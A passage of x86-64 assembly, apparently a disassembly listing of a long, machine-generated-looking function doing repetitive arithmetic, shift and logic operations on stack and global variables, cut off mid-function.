mov ecx, dword [rsp + 0x4578]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4304], eax
mov rax, qword [rsp + 0xb0a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb3e8]
mov qword [rsp + 0xc790], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc790]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xc1f0]
mov dword [rcx], eax
mov eax, dword [0x14019c040]
mov dword [rsp + 0x4af8], eax
movsx eax, byte [rsp + 0x1df]
movsx ecx, byte [rsp + 0x1fa]
xor eax, ecx
mov byte [rsp + 0x199], al
movzx eax, word [rsp + 0x11a4]
mov word [rsp + 0x1294], ax
movzx eax, word [0x14019bf1c]
movzx ecx, word [rsp + 0x10c8]
or eax, ecx
mov word [rsp + 0x117c], ax
lea rax, [rsp + 0x1c6]
mov qword [0x14019dda8], rax
mov rax, qword [rsp + 0xc488]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa778]
mov qword [rsp + 0xc798], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc798]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4794], eax
lea rax, [0x14019dda0]
mov qword [rsp + 0xc7a0], rax
movzx eax, byte [rsp + 0x18e]
mov rcx, qword [rsp + 0xb6f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x205], al
mov rax, qword [rsp + 0xc0a0]
movzx eax, word [rax]
mov word [rsp + 0x1298], ax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xb2e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb980]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb7b0]
mov eax, dword [rax]
mov dword [rsp + 0x4afc], eax
mov rax, qword [rsp + 0xaff0]
mov ecx, dword [rsp + 0x3694]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbb20]
mov dword [rcx], eax
mov eax, dword [rsp + 0x497c]
mov ecx, dword [rsp + 0x448c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ad4], eax
movzx eax, word [rsp + 0x1124]
mov word [0x14019ddb0], ax
movzx eax, byte [rsp + 0x195]
mov byte [rsp + 0x247], al
mov rax, qword [rsp + 0xa758]
mov ecx, dword [0x14019db28]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa758]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa90]
mov eax, dword [rax]
mov dword [rsp + 0x4b00], eax
movsx eax, byte [rsp + 0x20b]
movsx ecx, byte [rsp + 0x206]
add eax, ecx
mov byte [rsp + 0x1ec], al
movsx eax, word [rsp + 0xf74]
movsx ecx, word [rsp + 0x10ac]
sub eax, ecx
mov word [rsp + 0x1138], ax
movzx eax, byte [rsp + 0x234]
mov byte [rsp + 0x248], al
mov rax, qword [rsp + 0xc6c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc440]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaec8]
mov word [rcx], ax
lea rax, [rsp + 0x41e8]
mov qword [rsp + 0xc7a8], rax
mov eax, dword [rsp + 0x4958]
mov ecx, dword [rsp + 0x45fc]
add ecx, eax
mov eax, ecx
mov dword [str.so_g_], eax
mov eax, dword [rsp + 0x4248]
mov ecx, dword [rsp + 0x46f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4144], eax
mov rax, qword [rsp + 0xaf88]
mov ecx, dword [rsp + 0x4614]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4464], eax
lea rax, [rsp + 0x4690]
mov qword [rsp + 0xc7b0], rax
mov rax, qword [rsp + 0xc598]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
or eax, ecx
mov rcx, qword [rsp + 0xc6d0]
mov word [rcx], ax
lea rax, [rsp + 0x1a2]
mov qword [rsp + 0xc7b8], rax
mov rax, qword [rsp + 0xc580]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ab4]
shl eax, cl
mov dword [rsp + 0x4ac0], eax
lea rax, [rsp + 0x47c0]
mov qword [rsp + 0xc7c0], rax
mov eax, dword [0x14019c01c]
movzx ecx, al
mov eax, dword [rsp + 0x4958]
sar eax, cl
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
lea rax, [rsp + 0x4a9c]
mov qword [0x14019ddb8], rax
mov rax, qword [rsp + 0xb930]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfa8]
add eax, ecx
mov word [rsp + 0x1124], ax
lea rax, [rsp + 0x21d]
mov qword [rsp + 0xc7c8], rax
movsx eax, word [0x14019d8e0]
movsx ecx, word [rsp + 0x1088]
add eax, ecx
mov rcx, qword [rsp + 0xc538]
mov word [rcx], ax
lea rax, [rsp + 0x14c]
mov qword [rsp + 0xc7d0], rax
mov rax, qword [rsp + 0xa3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a60]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb6a0]
mov dword [rcx], eax
mov rax, qword [0x14019dd48]
mov rcx, qword [rsp + 0xc658]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4adc], eax
lea rax, [rsp + 0xf50]
mov qword [rsp + 0xc7d8], rax
mov rax, qword [rsp + 0xc610]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12e]
sub eax, ecx
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0xa988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x450c]
sub ecx, eax
mov eax, ecx
mov dword [0x14019dda0], eax
lea rax, [rsp + 0x430c]
mov qword [rsp + 0xc7e0], rax
mov eax, dword [rsp + 0x45bc]
mov ecx, dword [rsp + 0x47c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb648]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae98]
mov rcx, qword [rsp + 0xabe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a2c], eax
mov rax, qword [rsp + 0xbf40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1010]
add eax, ecx
mov word [rsp + 0xd74], ax
mov rax, qword [rsp + 0xc528]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x22a]
sub eax, ecx
mov rcx, qword [rsp + 0xc328]
mov byte [rcx], al
mov rax, qword [rsp + 0xbcc0]
mov eax, dword [rax]
mov dword [rsp + 0x4b04], eax
mov rax, qword [rsp + 0xbb58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3978]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb4e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc0a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019dc50]
shl eax, cl
mov dword [rsp + 0x4364], eax
mov rax, qword [rsp + 0xb648]
mov rcx, qword [rsp + 0xb590]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x14019c050], eax
mov rax, qword [rsp + 0xb660]
mov eax, dword [rax]
mov dword [rsp + 0x4b08], eax
mov rax, qword [rsp + 0xab20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb298]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1bc], al
movzx eax, word [rsp + 0xf9c]
mov word [rsp + 0x129c], ax
movzx eax, word [rsp + 0x10a0]
mov rcx, qword [rsp + 0xbb78]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf14], ax
movzx eax, byte [rsp + 0x1a6]
mov byte [rsp + 0x249], al
mov rax, qword [rsp + 0xb5f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48b0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e98], eax
mov rax, qword [rsp + 0xc0b8]
mov ecx, dword [0x14019bf60]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb0c0]
mov dword [rcx], eax
lea rax, [rsp + 0x118c]
mov qword [rsp + 0xc7e8], rax
mov rax, qword [rsp + 0xac78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc068]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019dda8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa778]
mov rcx, qword [0x14019dbc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbdf0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x45cc]
mov dword [rsp + 0x4b0c], eax
mov rax, qword [rsp + 0xb3e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4930]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb040]
mov ecx, dword [rsp + 0x455c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb680]
mov dword [rcx], eax
mov rax, qword [rsp + 0xae68]
movzx eax, word [rax]
mov word [rsp + 0x12a0], ax
movzx eax, byte [rsp + 0x15b]
mov rcx, qword [rsp + 0xb020]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xad28]
mov byte [rcx], al
mov eax, dword [0x14019c01c]
mov dword [rsp + 0x4b10], eax
mov rax, qword [rsp + 0xc3c0]
mov ecx, dword [rsp + 0x474c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4740], eax
lea rax, [rsp + 0x206]
mov qword [0x14019ddc0], rax
mov rax, qword [rsp + 0xb308]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc4d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1294], ax
lea rax, [rsp + 0xf34]
mov qword [rsp + 0xc7f0], rax
mov rax, qword [rsp + 0xa9d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a0]
or eax, ecx
mov rcx, qword [rsp + 0xb678]
mov byte [rcx], al
mov eax, dword [rsp + 0x46c0]
mov dword [rsp + 0x4b14], eax
mov eax, dword [rsp + 0x4234]
movzx ecx, al
mov eax, dword [rsp + 0x4514]
shl eax, cl
mov rcx, qword [rsp + 0xa748]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4208]
movzx ecx, al
mov eax, dword [rsp + 0x438c]
sar eax, cl
mov dword [rsp + 0x4088], eax
lea rax, [rsp + 0x4aa0]
mov qword [rsp + 0xc7f8], rax
mov rax, qword [0x14019da90]
mov rcx, qword [rsp + 0xc460]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb6b0]
mov dword [rcx], eax
lea rax, [rsp + 0x17d]
mov qword [rsp + 0xc800], rax
movzx eax, word [rsp + 0x1078]
mov rcx, qword [0x14019d9b8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x14019d900]
mov word [rcx], ax
mov rax, qword [rsp + 0xc1a8]
mov ecx, dword [rsp + 0x44b0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa8c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc588]
mov rcx, qword [rsp + 0xb220]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x37c0], eax
mov rax, qword [rsp + 0xc1e8]
mov ecx, dword [rsp + 0x4acc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4784], eax
mov rax, qword [rsp + 0xb550]
mov ecx, dword [rsp + 0x44b8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc070]
mov dword [rcx], eax
lea rax, [rsp + 0xff4]
mov qword [rsp + 0xc808], rax
movzx eax, byte [rsp + 0x188]
mov rcx, qword [rsp + 0xc4f8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14f], al
movzx eax, byte [rsp + 0x1df]
mov byte [rsp + 0x24a], al
movsx eax, word [rsp + 0x127c]
mov rcx, qword [rsp + 0xb348]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf30], ax
mov eax, dword [rsp + 0x4890]
mov ecx, dword [rsp + 0x4730]
add ecx, eax
mov eax, ecx
mov dword [0x14019dc50], eax
mov rax, qword [rsp + 0xa4a0]
mov rcx, qword [rsp + 0xa598]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b0c], eax
lea rax, [0x14019bf3b]
mov qword [rsp + 0xc810], rax
mov rax, qword [rsp + 0xad88]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb010]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1128], ax
mov eax, dword [rsp + 0x4580]
mov dword [rsp + 0x4b18], eax
mov rax, qword [rsp + 0xbf80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4afc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3348], eax
mov eax, dword [rsp + 0x4240]
mov ecx, dword [rsp + 0x4618]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x47f4], eax
mov eax, dword [rsp + 0x3d1c]
mov dword [rsp + 0x4b1c], eax
movzx eax, byte [rsp + 0x17b]
mov rcx, qword [rsp + 0xb0c8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xaa78]
mov byte [rcx], al
lea rax, [rsp + 0xfd4]
mov qword [0x14019ddc8], rax
mov eax, dword [rsp + 0x3c60]
mov dword [rsp + 0x4b20], eax
mov rax, qword [rsp + 0xab80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb998]
mov qword [rsp + 0xc818], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc818]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x415c], eax
mov rax, qword [0x14019ddb8]
mov eax, dword [rax]
mov dword [rsp + 0x4b24], eax
mov eax, dword [rsp + 0x47fc]
mov ecx, dword [rsp + 0x3388]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x42d8], eax
mov rax, qword [rsp + 0xa718]
mov rcx, qword [0x14019dcc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbff0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf78]
movzx eax, word [rax]
mov word [rsp + 0x12a4], ax
movsx eax, byte [rsp + 0x174]
movsx ecx, byte [rsp + 0x1c5]
sub eax, ecx
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0xc648]
movzx eax, word [rax]
mov word [rsp + 0x12a8], ax
movzx eax, byte [0x14019bf3a]
movzx ecx, byte [rsp + 0x19e]
sub eax, ecx
mov byte [0x14019bf7e], al
mov rax, qword [rsp + 0xc640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41c4], eax
mov rax, qword [rsp + 0xb580]
mov ecx, dword [0x14019bf70]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4640], eax
movzx eax, byte [rsp + 0x1d0]
mov byte [rsp + 0x24b], al
movzx eax, word [rsp + 0x1168]
mov rcx, qword [rsp + 0xb390]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf64], ax
mov eax, dword [rsp + 0x488c]
mov dword [rsp + 0x4b28], eax
mov rax, qword [rsp + 0xbe28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x495c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x484c], eax
mov rax, qword [rsp + 0xc508]
mov rcx, qword [rsp + 0xb248]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4984], eax
mov rax, qword [0x14019dd98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x461c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cc0], eax
movzx eax, word [rsp + 0xea0]
movzx ecx, word [rsp + 0xec4]
shl eax, cl
mov word [0x14019c054], ax
mov rax, qword [rsp + 0xb450]
movzx eax, byte [rax]
movzx ecx, byte [0x14019bf0f]
sar eax, cl
mov rcx, qword [rsp + 0xc4c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x44ec]
mov dword [rsp + 0x4b2c], eax
mov rax, qword [rsp + 0xc2b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45b0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa3b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa620]
movsx eax, byte [rax]
mov rcx, qword [0x14019d798]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x213], al
lea rax, [rsp + 0x1038]
mov qword [rsp + 0xc820], rax
mov rax, qword [rsp + 0xc810]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaba8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x162], al
movzx eax, word [rsp + 0xedc]
mov word [rsp + 0x12ac], ax
mov rax, qword [0x14019db98]
mov rcx, qword [rsp + 0xc660]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb528]
mov dword [rcx], eax
mov eax, dword [rsp + 0x44fc]
mov dword [0x14019ddd0], eax
mov eax, dword [rsp + 0x4184]
mov dword [rsp + 0x4b30], eax
mov eax, dword [0x14019c010]
mov ecx, dword [rsp + 0x45a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc260]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x415c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x467c], eax
lea rax, [rsp + 0x217]
mov qword [rsp + 0xc828], rax
movzx eax, word [0x14019d844]
movzx ecx, word [rsp + 0xf1c]
sub eax, ecx
mov word [rsp + 0x1060], ax
lea rax, [rsp + 0x4788]
mov qword [rsp + 0xc830], rax
mov eax, dword [rsp + 0x44f4]
mov ecx, dword [rsp + 0x45b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x47cc], eax
mov rax, qword [rsp + 0xbb50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x47d0], eax
mov rax, qword [rsp + 0xc060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x438c]
and ecx, eax
mov eax, ecx
mov dword [0x14019c044], eax
lea rax, [rsp + 0x1008]
mov qword [rsp + 0xc838], rax
movzx eax, byte [rsp + 0x1dd]
movzx ecx, byte [rsp + 0x21b]
sub eax, ecx
mov byte [rsp + 0x1af], al
lea rax, [rsp + 0x185]
mov qword [rsp + 0xc840], rax
movsx eax, word [rsp + 0x10ec]
mov rcx, qword [rsp + 0xb348]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa6f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbec8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019bf98]
shr eax, cl
mov rcx, qword [rsp + 0xc678]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb908]
mov eax, dword [rax]
mov dword [rsp + 0x4b34], eax
movzx eax, byte [rsp + 0x20f]
movzx ecx, byte [0x14019bf82]
xor eax, ecx
mov byte [rsp + 0x234], al
lea rax, [rsp + 0x113c]
mov qword [rsp + 0xc848], rax
mov rax, qword [rsp + 0xaf88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x48bc]
shl eax, cl
mov dword [0x14019d840], eax
mov rax, qword [0x14019da90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4858]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc7e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc1b0]
mov eax, dword [rax]
mov dword [rsp + 0x4b38], eax
mov rax, qword [rsp + 0xaf08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4910]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a2c], eax
mov rax, qword [rsp + 0xc828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa628]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb678]
mov byte [rcx], al
lea rax, [rsp + 0x1120]
mov qword [rsp + 0xc850], rax
mov rax, qword [rsp + 0xb5f8]
mov rcx, qword [rsp + 0xaf18]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaf80]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4a24]
mov dword [rsp + 0x4b3c], eax
mov rax, qword [rsp + 0xac98]
mov rcx, qword [rsp + 0xacb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa5f0]
mov dword [rcx], eax
lea rax, [rsp + 0x45cc]
mov qword [0x14019ddd8], rax
mov rax, qword [rsp + 0xa5c8]
mov rcx, qword [rsp + 0xb5c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x41dc], eax
lea rax, [rsp + 0x196]
mov qword [rsp + 0xc858], rax
mov rax, qword [rsp + 0xac20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc438]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1144], ax
lea rax, [rsp + 0xf3c]
mov qword [rsp + 0xc860], rax
mov rax, qword [rsp + 0xa890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb8e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc688]
mov byte [rcx], al
mov rax, qword [rsp + 0xb3a0]
mov ecx, dword [rsp + 0x4988]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x477c], eax
mov rax, qword [rsp + 0xade8]
mov eax, dword [rax]
mov dword [rsp + 0x4b40], eax
movzx eax, word [rsp + 0x11f0]
movzx ecx, word [rsp + 0x10f0]
and eax, ecx
mov word [rsp + 0xff0], ax
movzx eax, byte [rsp + 0x1ee]
mov rcx, qword [rsp + 0xac78]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14019d7b6], al
lea rax, [rsp + 0x4190]
mov qword [rsp + 0xc868], rax
mov rax, qword [rsp + 0xb230]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019bfec]
shl eax, cl
mov rcx, qword [rsp + 0xc630]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc5a8]
mov qword [rsp + 0xc870], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc870]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4884], eax
lea rax, [rsp + 0x4a28]
mov qword [rsp + 0xc878], rax
movzx eax, byte [rsp + 0x1f8]
mov rcx, qword [rsp + 0xa9c0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x187], al
movzx eax, word [rsp + 0x1084]
mov word [rsp + 0x12b0], ax
mov rax, qword [0x14019dd48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bf0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb248]
mov dword [rcx], eax
lea rax, [rsp + 0x415c]
mov qword [rsp + 0xc880], rax
lea rax, [rsp + 0x10ec]
mov qword [0x14019dde0], rax
movsx eax, byte [rsp + 0x20e]
movsx ecx, byte [rsp + 0x166]
sub eax, ecx
mov rcx, qword [rsp + 0xbc10]
mov byte [rcx], al
movzx eax, byte [0x14019beef]
movzx ecx, byte [rsp + 0x22e]
and eax, ecx
mov byte [rsp + 0x22c], al
lea rax, [rsp + 0xef4]
mov qword [rsp + 0xc888], rax
mov rax, qword [rsp + 0xb2f0]
mov rcx, qword [rsp + 0xc008]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb030]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3850], eax
mov rax, qword [rsp + 0xac18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x467c], eax
mov rax, qword [rsp + 0xa680]
mov rcx, qword [0x14019d960]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaa50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb530]
mov eax, dword [rax]
mov dword [rsp + 0x4b44], eax
movzx eax, word [rsp + 0x1254]
movzx ecx, word [rsp + 0xfc4]
sub eax, ecx
mov rcx, qword [rsp + 0xaae8]
mov word [rcx], ax
movzx eax, byte [0x14019bf03]
mov rcx, qword [rsp + 0xaf48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bfaa], al
mov eax, dword [rsp + 0x418c]
mov dword [rsp + 0x4b48], eax
mov rax, qword [rsp + 0xb5e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xae08]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4d0]
mov ecx, dword [rsp + 0x49b4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbae8]
mov dword [rcx], eax
lea rax, [rsp + 0x4664]
mov qword [rsp + 0xc890], rax
movzx eax, word [rsp + 0x113c]
movzx ecx, word [rsp + 0x1098]
xor eax, ecx
mov rcx, qword [rsp + 0xbc00]
mov word [rcx], ax
movzx eax, byte [0x14019bf03]
mov byte [rsp + 0x24c], al
mov rax, qword [rsp + 0xc820]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb610]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa7f8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1fd]
mov rcx, qword [rsp + 0xab70]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xaeb8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbaa8]
mov rcx, qword [rsp + 0xc690]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14019db78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xadc0]
mov eax, dword [rax]
mov dword [rsp + 0x4b4c], eax
movzx eax, word [rsp + 0x1110]
movzx ecx, word [rsp + 0xae4]
and eax, ecx
mov rcx, qword [rsp + 0xbfb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ce]
mov byte [rsp + 0x24d], al
mov rax, qword [rsp + 0xafc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4914]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4738], eax
lea rax, [rsp + 0x435c]
mov qword [rsp + 0xc898], rax
mov rax, qword [0x14019dc58]
mov ecx, dword [rsp + 0x4584]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b30], eax
mov rax, qword [rsp + 0xb248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x465c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x48ac], eax
lea rax, [rsp + 0xec8]
mov qword [rsp + 0xc8a0], rax
mov rax, qword [rsp + 0xc040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x236]
sub eax, ecx
mov byte [0x14019d7b4], al
mov rax, qword [rsp + 0xc768]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x48bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb6a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc6d8]
mov eax, dword [rax]
mov dword [rsp + 0x4b50], eax
mov rax, qword [rsp + 0xb740]
mov rcx, qword [rsp + 0xb530]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a74], eax
mov rax, qword [rsp + 0xc600]
mov ecx, dword [rsp + 0x4080]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa6f8]
mov dword [rcx], eax
mov eax, dword [0x14019bf30]
mov dword [rsp + 0x4b54], eax
mov rax, qword [rsp + 0xa5f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb70]
sub eax, ecx
mov word [rsp + 0x1148], ax
lea rax, [rsp + 0x18f]
mov qword [rsp + 0xc8a8], rax
mov rax, qword [rsp + 0xb460]
movzx eax, word [rax]
movzx ecx, word [0x14019bf08]
sar eax, cl
mov word [rsp + 0x113c], ax
lea rax, [rsp + 0x201]
mov qword [0x14019dde8], rax
mov eax, dword [rsp + 0x43b0]
mov ecx, dword [rsp + 0x4678]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x435c], eax
mov eax, dword [rsp + 0x439c]
mov dword [rsp + 0x4b58], eax
mov rax, qword [rsp + 0xa648]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc3d0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc118]
mov word [rcx], ax
mov rax, qword [rsp + 0xaea0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20f]
xor eax, ecx
mov byte [rsp + 0x111], al
mov rax, qword [rsp + 0xb548]
mov ecx, dword [rsp + 0x4af4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4b30], eax
mov rax, qword [rsp + 0xa798]
mov eax, dword [rax]
mov dword [rsp + 0x4b5c], eax
mov rax, qword [rsp + 0xab80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb9b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb20]
mov rcx, qword [rsp + 0xb6e0]
